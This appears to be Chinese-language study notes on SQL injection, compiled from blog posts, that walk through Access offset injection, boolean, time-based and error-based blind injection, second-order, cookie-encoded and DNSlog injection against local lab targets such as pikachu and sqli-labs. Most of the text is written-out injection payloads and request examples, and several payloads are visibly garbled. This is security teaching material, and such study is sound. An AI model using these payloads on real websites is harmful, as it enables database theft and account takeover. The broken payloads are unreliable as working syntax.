查询方式及报错盲注
当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。
Access暴力猜解不出的问题?
Access扁移注入:解决列名获取不到的情况
查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况
Access偏移注入与原理
Access偏移注入:表名知道,列名无法获取的情况下。
1、判断注入点
127.0.0.1/asp/index.asp?id=1513 and 1=1 正常
127.0.0.1/asp/index.asp?id=1513 and 1=2 错误
2、查询字段个数
127.0.0.1/asp/index.asp?id=1513 order by 22 正常
127.0.0.1/asp/index.asp?id=1513 order by 23 错误
3、爆出显位
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
4、判断表内存在的字段个数
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误
直到…
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确
说明了admin表下有6个字段;
用”
“代表 admin 表的字段数,计算
代替字符的位数。
Access偏移注入原理
,基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
也就是:
* = 6个字符
2 × * = 12个字符
22 – 12 = 10个字符
5、爆列名数据
一级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:
二级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
注意:这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4
一、查询方式
SQL语句网站应用
select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id
insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url,text) values ( 2,'x','$t')
delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id
update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username=' admin'
order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id , name , price from news order by $order
二、SQL语句盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
1、基于布尔的sQL盲注-逻辑判断
regexp, like , ascii,left, ord , mid
2、基于时间的sQL盲注-延时判断
if ,sleep
3、基于报错的sQL盲注-报错回显
floor, updatexml, extractvalue
参考:
优先选择报错回显
1. like 'ro%' #判断ro或ro ..是否成立
2. regexp '^xiaodi[a-z]' #匹配xiaodi 及xiaodi..等
3.if(条件,5,0) #判断条件成立 返回5 ,反之 返回0
4. sleep(5) #SQL 语句延时执行 5 秒
5. mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
6. substr(a,b,c) #从 b 位置开始,截取字符串 a 的 c 长度
7. left(database(),1),database() #left(a,b)从左侧截取 a 的前 b 位
8. length(database())=8 #判断数据库 database()名的长度
9. ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 97
12种报错注入+万能语句
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,:
updatexml()更新xml文档的函数
语法:
updatetexml(目标xml内容,xml文档路径,更新的内容)
注入语句如下
and 1=(updatexml(1,concat(0x3a,(select user()),1))
实际上这里去更新了xml文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符 0x3a,然后就因为不符合输入规则然后报错了。
但是报错的时候他其实已经执行了那个子查询代码!
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
转载链接:https://www.jianshu.com/p/bc35f8dd4f7c
首先了解下updatexml()函数1
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
使用pikachu靶场进行测试,使用docker搭建pikachu靶场
docker run -d -p 8000:80 area39/pikachu:latest
1、insert语句
用burp抓取数据包、并修改数据包
'or updatexml(1,concat(0x7e,database(),0x7e),0) or'
username=xiaodi'or updatexml(1,concat(0x7e,version(),0x7e),0) or'&password=123456&sex=man&phonenum=138&email=%E5%9B%9B%E5%B7%9D&add=%E6%88%90%E9%83%BD&submit=submit
注意:将注意语句放在语句的其他位置是可以的注意看网站提交的数据。
三、SQL时间盲注
源地址:https://blog.csdn.net/LJH1999ZN/article/details/122863892
1.sleep语句
基础知识:
mysql> select * from member where id=1;
+----+----------+----------------------------------+-------+----------+---------+--------+
| id | username | pw | sex | phonenum | address | email |
+----+----------+----------------------------------+-------+----------+---------+--------+
| 1 | vince | e10adc3949ba59abbe56e057f20f883e | admin | asdasd | 四川 | 成都 |
+----+----------+----------------------------------+-------+----------+---------+--------+
1 row in set (0.00 sec)
mysql>
mysql> select * from member where id=1 and sleep(5);
Empty set (5.00 sec)
mysql>
2、if语句
mysql
if (判断语句,成立执行的a,不成立执行的b);
mysql> select if(database()='pikachu',123,456);
+----------------------------------+
| if(database()='pikachu',123,456) |
+----------------------------------+
| 123 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select if(database()='test',123,456);
+-------------------------------+
| if(database()='test',123,456) |
+-------------------------------+
| 456 |
+-------------------------------+
1 row in set (0.00 sec)
3、if+sleep语句
mysql> select * from member where id=1 and sleep(if(database()='pikachu',5,0));
Empty set (5.00 sec)
语句的意思就是如果数据是pikachu就延迟5秒输出,不是的话就立即返回,但是在实际渗透过程中由于受到网络的影响时间注入不是很靠谱,
参考:
like 'ros' #判断ro或ro...是否成立
regexp '^xiaodi [a-z]' #匹配xiaodi及xiaodi...等if(条件,5,0)
sleep (5) #sQL语句延时执行s秒
mid (a, b, c) #从位置b开始,截取a字符串的c位
substr( a,b, c) #从b位置开始,截取字符串a的c长度
left (database(),1), database() #left(a,b)从左侧截取a的前b位
length(database ())=8 #判断数据库database ()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
4、if+mid+sleep
判断数库名称是不是以p开头如果是的话就延迟五秒输出。
mysql> select database();
+------------+
| database() |
+------------+
| pikachu |
+------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0));
Empty set (5.00 sec)
案例
(1).通过时间线判断sql语句是否执行
(2).通过添加sleep函数判断:
payload:name=lili'and sleep(5)--+
执行成功时间线为5s
payload:name=lili''and sleep(5)--+ 执行失败时间线为32ms
(3).通过时间盲注获取当前数据库
第一步:
首先需要获取数据库长度
length()函数
payload:name=lili'and if(length((select database()))=7,sleep(5),0)--+
//通过length(select database())=长度,成立延迟5秒
根据时间线判断可知数据库的字符长度为7
第二步:
获取当前数据库的库名
substr(要截取的,开始位置,结束位置)
或者 mid(a,b,c) #从位置 b 开始,截取 a 字符串的 c 位
payload:name=lili'and if(substr((select database()),1,1)='p',sleep(5),0)--+
//函数截取数据库第1位名字
根据时间线判断当前数据库的库名的第一个符为‘p’
也可以使用上边布尔类型盲注的其他函数执行。
二次注入
一、加解密注入
sqlilabs-less21-cookie&加解密注入(实际案例)
1.抓取cookie数据包
GET /Less-21/index.php HTTP/1.1
Host: 10.1.1.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.1.1.133/Less-21/index.php
Connection: close
Cookie: uname=YWRtaW4%3D
Upgrade-Insecure-Requests: 1
可以看到 uname=YWRtaW4%3D
YWRtaW4%3D
这是一个base64加密的字符串其中%3D是编码中的
=
符号,把他发送到编码模块当中解密,得到明文,使用burp模块解密。
2.发现这个是注入点需要将原来的注入方式重新加密发送给服务器。
3.就是说
admin' and 1=1
加密之后的值是
YWRtaW4nIGFuZCAxPTE=
判断注入点
为什么会用加密的发送过去
查看源代码,源码中进行解码后发回
4.获取数据库名称
admin' or updatexml(1,concat(0x7e,(database())),0) or '
加密后cookie值
Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSksMCkgb3IgJwo=
二、二次注入
二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。
案例:
sqlilabs-less24-post登陆框&二次注入
增加用户:
数据库中查询:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | admin |
+----+----------+------------+
14 rows in set (0.00 sec)
登录用户修改密码:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123456 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | admin |
+----+----------+------------+
14 rows in set (0.00 sec)
最后我们看到的是将admin的账户密码修改为了123456而admin’#并没有发生改变,原因是代码执行的过程中将’#没有过滤直接带入执行导致’与前面的代码闭合而#将后面的代码给注释。
三、dnslog注入
使用DnsLog盲注仅限于windos环境和高权限。
Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名
www.test.com
、
t00ls.com.
等的访问信息。
涉及资源:http://ceye.io
参考资料:https://www.cnblogs.com/xhds/p/12322839.html
DnsLog盲注:
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。
原理图:
Donslog注入脚本
https://github.com/ADOOO/DnslogSqlinj
参考学习:https://www.jianshu.com/p/d6788f57dba5
https://www.cnblogs.com/afanti/p/8047530.html
四、中转注入
如果,网站URL的注入点是经过编码的,不能直接结合sqlmap进行漏洞利用,所以本地搭建一个网站,写一个php脚本编码文件,就可以结合sqlmap工具进行测试。 因为,注入点经过复杂编码之后,就不能直接结合sqlmap进行漏洞攻击了。或者sqlmap自己编写tamper脚本进行攻击。
自己编写网页,将要注入的网站copy过来
<?php
$url='地址';
$result=file_get_contents($usrl=);
?>
//file_get_contents() 把整个文件读入一个字符串中。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9YrA8eby-1680056610888)(null)]
增加加密语句:
使用sqlmap对自己搭建的网站注入